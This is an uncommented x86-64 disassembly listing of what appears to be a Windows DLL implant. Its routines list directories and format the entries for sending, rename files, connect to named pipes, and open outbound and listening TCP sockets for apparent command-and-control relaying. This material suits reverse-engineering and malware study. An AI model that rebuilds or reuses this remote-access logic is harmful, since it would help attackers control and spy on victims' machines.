lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [rbp - 0x60], 0x10
movzx ecx, word [rsp + 0x5a]
movzx edx, word [rsp + 0x58]
lea r11, [rbp - 0x34]
je 0x1800110db
movzx eax, word [rsp + 0x5c]
movzx r10d, word [rsp + 0x50]
movzx r9d, word [rsp + 0x56]
movzx r8d, word [rsp + 0x52]
mov qword [rsp + 0x40], r11
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
lea rdx, str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call fcn.18000d02c
jmp 0x180011137
mov eax, dword [rbp - 0x40]
movzx r8d, word [rsp + 0x50]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x52]
mov qword [rsp + 0x48], r11
mov dword [rbp + 0x118], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x11c], eax
movzx eax, word [rsp + 0x5c]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov r8, qword [rbp + 0x118]
lea rdx, str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call fcn.18000d02c
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180011068
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x60]
call fcn.180014898
lea rcx, [rsp + 0x60]
mov ebx, eax
call fcn.18000d098
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
lea rcx, [rsp + 0x60]
call fcn.18000cfa8
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.180014a24
mov rcx, rax
mov rbx, rax
call fcn.18001f280
mov rcx, rbx
call fcn.18001d188
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.18001473c
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.18001489c
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.18001489c
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180014854
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.180014938
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.180014938
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x180011283
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_ntohl
mov edx, eax
call fcn.18000e2a8
mov rcx, r14
call fcn.180014830
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov esi, r9d
mov rbp, r8
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.180011724
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov rbp, r9
mov esi, r8d
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r9d, 1
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.180011628
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rdi, rcx
mov esi, 0x40
mov r15d, r9d
mov ecx, esi
mov r12d, r8d
mov ebx, edx
call fcn.18001473c
mov edx, esi
mov rcx, rax
mov rbp, rax
call fcn.18001489c
lea rcx, [rsp + 0x70]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.180014854
lea rcx, [rsp + 0x70]
call fcn.180014900
lea rcx, [rsp + 0x70]
movzx r13d, ax
call fcn.180014900
lea rcx, [rsp + 0x70]
movzx eax, ax
mov dword [rsp + 0x68], eax
call fcn.180014864
lea rcx, [rsp + 0x70]
mov r8d, esi
mov rdx, r14
mov dword [rsp + 0x64], eax
call fcn.180014938
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x60], eax
call fcn.180014864
xor esi, esi
mov edi, eax
test eax, eax
je 0x1800119b4
lea rcx, [rsp + 0x70]
mov edx, eax
call fcn.18001489c
mov rsi, rax
lea rcx, [rsp + 0x70]
call fcn.1800147b8
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.180014898
mov ecx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
mov edx, dword [rsp + 0x68]
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], edi
mov r9, rbx
mov ecx, r13d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
call fcn.180011a2c
mov rcx, rbp
call fcn.180014830
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rdi, rcx
mov ecx, 0xc00
mov r12d, r8d
mov ebx, edx
call fcn.18001473c
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov rsi, rax
call fcn.18001489c
mov edx, r13d
mov rcx, rsi
mov r15, rax
call fcn.18001489c
mov edx, r13d
mov rcx, rsi
mov rbp, rax
call fcn.18001489c
lea rcx, [rsp + 0x40]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.180014854
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, r15
call fcn.180014938
xor edi, edi
test eax, eax
jne 0x180011c28
mov rcx, rsi
call fcn.180014830
jmp 0x180011cca
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, rbp
call fcn.180014938
test eax, eax
je 0x180011c1b
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, r14
call fcn.180014938
test eax, eax
je 0x180011c1b
lea rax, [rsp + 0x58]
mov r9, r14
mov r8, rbp
mov rdx, r15
mov ecx, r12d
mov qword [rsp + 0x20], rax
call fcn.18001a000
test eax, eax
je 0x180011cb8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call fcn.180014898
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.1800147b8
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x58]
mov r9, rax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.18001204c
mov rcx, rsi
call fcn.180014830
lea rcx, [rsp + 0x58]
call fcn.180012e70
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x180046d00]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014900
movzx eax, ax
jmp 0x180012ee1
cmp dword [rbx], eax
jne 0x180012edd
mov ecx, 1
mov word [rbx + 0x3a], cx
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x180012ed0
call fcn.180013400
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov rdi, rcx
mov r14d, r8d
mov ebx, edx
mov esi, 0x3f
lea rcx, [rbp - 0x48]
xor edx, edx
mov r8d, esi
movzx r15d, r9w
mov byte [rbp - 0x49], 0
call fcn.18001d470
lea rcx, [rbp - 8]
mov r8d, esi
xor edx, edx
mov byte [rbp - 9], 0
call fcn.18001d470
lea rcx, [rbp - 0x61]
mov r8d, ebx
mov rdx, rdi
call fcn.180014854
lea rcx, [rbp - 0x61]
call fcn.180014864
lea rcx, [rbp - 0x61]
mov r12d, eax
call fcn.180014900
lea rcx, [rbp - 0x61]
movzx r13d, ax
call fcn.180014900
mov ebx, 0x40
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x61]
mov r8d, ebx
movzx esi, ax
call fcn.180014938
test eax, eax
je 0x180013020
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x61]
mov r8d, ebx
call fcn.180014938
test eax, eax
je 0x180013020
neg r14d
sbb edi, edi
and edi, 0x20000
xor ebx, ebx
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x49]
mov r8d, edi
call fcn.1800130d0
test eax, eax
jne 0x180012ff8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x180012fbe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_sendto
mov edx, eax
call fcn.18000e2a8
jmp 0x180013020
test esi, esi
je 0x180013007
mov rcx, qword [rbp - 0x69]
mov edx, esi
call fcn.1800131f8
mov rcx, qword [rbp - 0x69]
lea r9, [rbp - 9]
mov r8d, r13d
mov edx, r12d
mov word [rsp + 0x20], r15w
call fcn.18001316c
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, qword [0x180046d00]
mov rdi, rcx
lea rcx, [rsp + 0x30]
mov edx, 0x8000
call fcn.18000cfcc
jmp 0x180013089
mov r9d, dword [rbx + 0x3c]
mov r8d, dword [rbx]
lea rax, [rbx + 0x46]
lea rdx, str._d_t_d_t_s_n
mov qword [rsp + 0x20], rax
call fcn.18000d02c
mov rbx, qword [rbx + 0x30]
lea rcx, [rsp + 0x30]
test rbx, rbx
jne 0x180013069
call fcn.180014898
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.18000d098
mov r8d, reloc.WS2_32.dll_sendto
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x30]
call fcn.18000cfa8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
lea r9, [0x180046d20]
xor edx, edx
mov rcx, r9
cmp dword [rcx + 0x48], 1
jne 0x18001367b
cmp dword [rcx], eax
je 0x18001368f
lea r8, [0x180047c20]
add rcx, 0x60
inc edx
cmp rcx, r8
jge 0x1800136ac
jmp 0x180013671
movsxd rax, edx
mov r8d, 0xa
lea rcx, [rax + rax*2]
shl rcx, 5
mov edx, dword [rcx + r9 + 0x58]
mov rcx, qword [rcx + r9 + 0x50]
call rbx
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp qword [0x180046d10], 0
mov rdi, r8
mov r14d, edx
mov r12, rcx
jne 0x1800136fb
mov ecx, 4
call fcn.180019a04
mov ecx, eax
call fcn.18001d1c8
mov qword [0x180046d10], rax
mov r13d, dword [r12]
sub r14d, 4
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_ntohl]
xor ebp, ebp
lea rbx, [0x180046d40]
mov esi, eax
lea rdx, [0x180046d20]
cmp dword [rbx - 0x20], esi
jne 0x1800137e6
cmp dword [rbx + 0x28], 1
jne 0x1800137e6
movsxd rax, ebp
test r14d, r14d
jle 0x180013752
lea r15, [rdx + 8]
lea rcx, [rax + rax*2]
mov r8d, r14d
shl rcx, 5
lea rdx, [r12 + 4]
add r15, rcx
jmp 0x180013766
lea r15, [rax + rax*2]
xor r8d, r8d
shl r15, 5
add r15, 8
add r15, rdx
xor edx, edx
mov rcx, r15
call qword [rbx]
test eax, eax
je 0x1800137f6
mov rax, qword [0x180046d10]
mov edx, 0x493e0
mov rcx, r15
mov dword [rax], r13d
call qword [rbx + 0x18]
test eax, eax
je 0x1800137ad
mov ecx, 4
call fcn.180019a04
mov rdx, qword [0x180046d10]
mov rcx, r15
lea r8d, [rax - 4]
add rdx, 4
call qword [rbx - 8]
jmp 0x1800137b0
or eax, 0xffffffff
test eax, eax
jle 0x1800137c8
lea edx, [rax + 4]
mov rcx, qword [0x180046d10]
mov r8d, ntohs
call rdi
jmp 0x1800137df
jne 0x1800137d1
mov edx, 4
jmp 0x1800137b7
test eax, eax
jns 0x1800137df
mov rdx, rdi
mov ecx, esi
call fcn.180013aac
lea rdx, [0x180046d20]
inc ebp
add rbx, 0x60
cmp ebp, 0x28
jge 0x180013800
jmp 0x18001371e
mov rdx, rdi
mov ecx, esi
call fcn.180013aac
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, rbx
mov ecx, eax
add rsp, 0x20
pop rbx
jmp fcn.180013aac
mov rdx, r8
jmp 0x180013d14
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov r14, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0x3a98]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jae 0x180013db1
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x100000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180013dea
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x180013d9a
mov edx, 0x2710
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x180013da5
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x180013d4a
jmp 0x180013db5
mov rbx, qword [rbp + 0x77]
cmp rbx, 0xffffffffffffffff
jne 0x180013dea
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x79
jne 0x180013dd3
lea ecx, [rbx + 5]
call fcn.18000e374
jmp 0x180013e90
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_sendto
mov edx, eax
call fcn.18000e2a8
jmp 0x180013e90
lea rdx, [rbp + 0x77]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
mov dword [rbp + 0x77], 2
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x180013e1c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_sendto
mov edx, eax
call fcn.18000e2a8
jmp 0x180013e7f
lea rcx, [rbp + 7]
mov rdx, rbx
call fcn.180013bb4
mov r8, r14
mov rcx, qword [rax]
mov rdx, rax
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x21], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 9], rax
mov rax, qword [rdx + 0x38]
mov qword [rbp - 0x11], rcx
lea rcx, [rbp - 0x39]
mov edx, 0x1bd
mov qword [rbp - 1], rax
call fcn.180013904
test eax, eax
jne 0x180013e90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rbx
call fcn.18001aa30
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov r14, r8
mov ebx, edx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 9]
mov r8d, ebx
mov rdx, rdi
lea esi, [rax + 0x3a98]
call fcn.180014854
lea rcx, [rbp - 9]
call fcn.180014900
lea rcx, [rbp - 9]
movzx ebx, ax
call fcn.1800147b8
mov rdi, rax
call fcn.18000ed44
jmp 0x180014020
mov edx, ebx
mov rcx, rdi
call fcn.18000faf4
cmp rax, 0xffffffffffffffff
jne 0x180014059
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, esi
jb 0x180014005
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x44
mov edx, eax
call fcn.18000e2a8
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, [rbp + 0xf]
mov rdx, rax
call fcn.180014170
bts ebx, 0x14
mov rcx, qword [rax]
mov r8, rax
mov edx, ebx
mov qword [rbp - 0x49], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x41], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x19], rax
mov rax, qword [r8 + 0x38]
mov qword [rbp - 0x21], rcx
lea rcx, [rbp - 0x49]
mov r8, r14
mov qword [rbp - 0x11], rax
call fcn.180013904
jmp 0x18001403c
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x180047c20]
call qword [sym.imp.WS2_32.dll_ntohl]
jmp 0x180014b7b
cmp dword [rbx + 4], 0
je 0x180014b77
cmp eax, dword [rbx]
jne 0x180014b77
cmp dword [rbx + 0x10], 2
je 0x180014b77
and dword [rbx + 4], 0
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180014b63
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rdi, rcx
mov ecx, dword [rcx]
mov r12d, 1
mov rsi, r8
mov ebx, edx
mov dword [rbp + 0x378], ecx
mov dword [rbp + 0x370], r12d
lea r13d, [r12 + 3]
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rdi + r13]
sub ebx, 6
mov r14d, eax
call qword [sym.imp.WS2_32.dll_ntohs]
lea rdx, [r13 + 2]
lea rcx, [rsp + 0x30]
movzx r15d, ax
mov eax, 0x3ff
cmp ebx, eax
cmovge ebx, eax
add rdx, rdi
movsxd rbx, ebx
mov r8, rbx
call fcn.18001d860
mov byte [rsp + rbx + 0x30], 0
call fcn.18000ed44
mov edx, r12d
xor r8d, r8d
lea r12d, [rdx + 1]
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_socket]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
jne 0x180014c4b
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x378]
mov r8d, r13d
mov edx, r13d
call rsi
jmp 0x180014cda
lea rcx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x180014c60
mov rcx, rbx
jmp 0x180014c31
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001d860
movzx ecx, r15w
mov word [rsp + 0x20], r12w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp + 0x370]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, edi
je 0x180014c31
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x180014cc9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180014c5b
mov r8d, 0x7530
mov edx, r14d
mov rcx, rbx
call fcn.180014b08
mov rbx, qword [rsp + 0x480]
add rsp, 0x430
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x430
mov rbx, rcx
mov ecx, dword [rcx]
mov rsi, r8
mov dword [rax + 0x10], ecx
mov dword [rax + 8], 1
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rbx + 4]
mov ebp, eax
call qword [sym.imp.WS2_32.dll_ntohs]
call fcn.18000ed44
xor r8d, r8d
lea r14d, [r8 + 2]
mov edx, r14d
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180014d70
or rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, 4
lea rcx, [rsp + 0x458]
mov r8d, edx
call rsi
jmp 0x180014db8
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
test eax, eax
js 0x180014d56
lea r8, [rsp + 0x450]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, 0xffffffff
je 0x180014d56
mov r8d, 0x7530
mov edx, ebp
call fcn.180014b28
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x28]
mov rdi, r8
call fcn.180014864
lea rcx, [rsp + 0x30]
mov ebp, eax
call fcn.180014900
mov r8d, 1
movzx ebx, ax
xor ecx, ecx
mov edx, ebx
call fcn.180015100
cmp rax, 0xffffffffffffffff
jne 0x180014e24
lea edx, [rax + 5]
mov rcx, rsi
mov r8d, edx
call rdi
jmp 0x180014e46
mov r9d, 1
mov r8d, 0x2bf20
mov edx, ebp
mov rcx, rax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.180014a68
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x180047c20]
mov rdi, rcx
mov ecx, dword [rcx]
mov esi, edx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebp, eax
jmp 0x180014ea6
cmp dword [rbx + 4], 1
jne 0x180014ea2
cmp ebp, dword [rbx]
jne 0x180014ea2
lea r8d, [rsi - 4]
lea rdx, [rdi + 4]
mov rcx, rbx
call fcn.180015884
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180014e88
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x430
mov rsi, qword [0x180047c20]
mov r14, rcx
mov ecx, dword [rcx]
mov ebp, edx
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [r14 + 4]
mov r15d, eax
call qword [sym.imp.WS2_32.dll_ntohs]
mov ecx, dword [r14 + 6]
add r14, 0xa
sub ebp, 0xa
movzx r12d, ax
call qword [sym.imp.WS2_32.dll_ntohl]
lea rcx, [rsp + 0x30]
mov rdx, r14
movsxd rdi, eax
mov eax, 0x3ff
cmp ebp, eax
mov r8, rdi
cmovge ebp, eax
call fcn.18001d860
add r14, rdi
sub ebp, edi
mov byte [rsp + rdi + 0x30], 0
jmp 0x180014f6a
cmp dword [rsi + 4], 1
jne 0x180014f66
cmp r15d, dword [rsi]
jne 0x180014f66
lea rax, [rsp + 0x30]
mov r9d, r12d
mov r8d, ebp
mov rdx, r14
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.180015990
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x180014f40
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov edi, r8d
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.180014854
lea rcx, [rsp + 0x30]
call fcn.180014900
movzx ecx, ax
movzx ebx, ax
call fcn.1800151d4
test eax, eax
jne 0x180015012
movzx ebx, bx
lea r8d, [rax + 0xa]
mov ecx, edi
mov edx, ebx
call fcn.180015100
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180015006
call fcn.180015204
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x28], r9d
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.180014a68
jmp 0x180015012
mov edx, ebx
mov ecx, socket
call fcn.18000e2a8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x180047c20]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014900
xor edx, edx
movzx ecx, ax
jmp 0x180015076
cmp dword [rbx + 4], edx
je 0x180015072
cmp dword [rbx + 0x10], 2
jne 0x180015061
movzx eax, cx
cmp dword [rbx + 0x14], eax
je 0x18001506f
cmp dword [rbx + 0x10], 3
jne 0x180015072
movzx eax, cx
cmp dword [rbx + 0x14], eax
jne 0x180015072
mov dword [rbx + 4], edx
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001504e
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.180014854
lea rcx, [rsp + 0x30]
call fcn.180014900
mov r8d, 0xa
xor ecx, ecx
movzx ebx, ax
mov edx, ebx
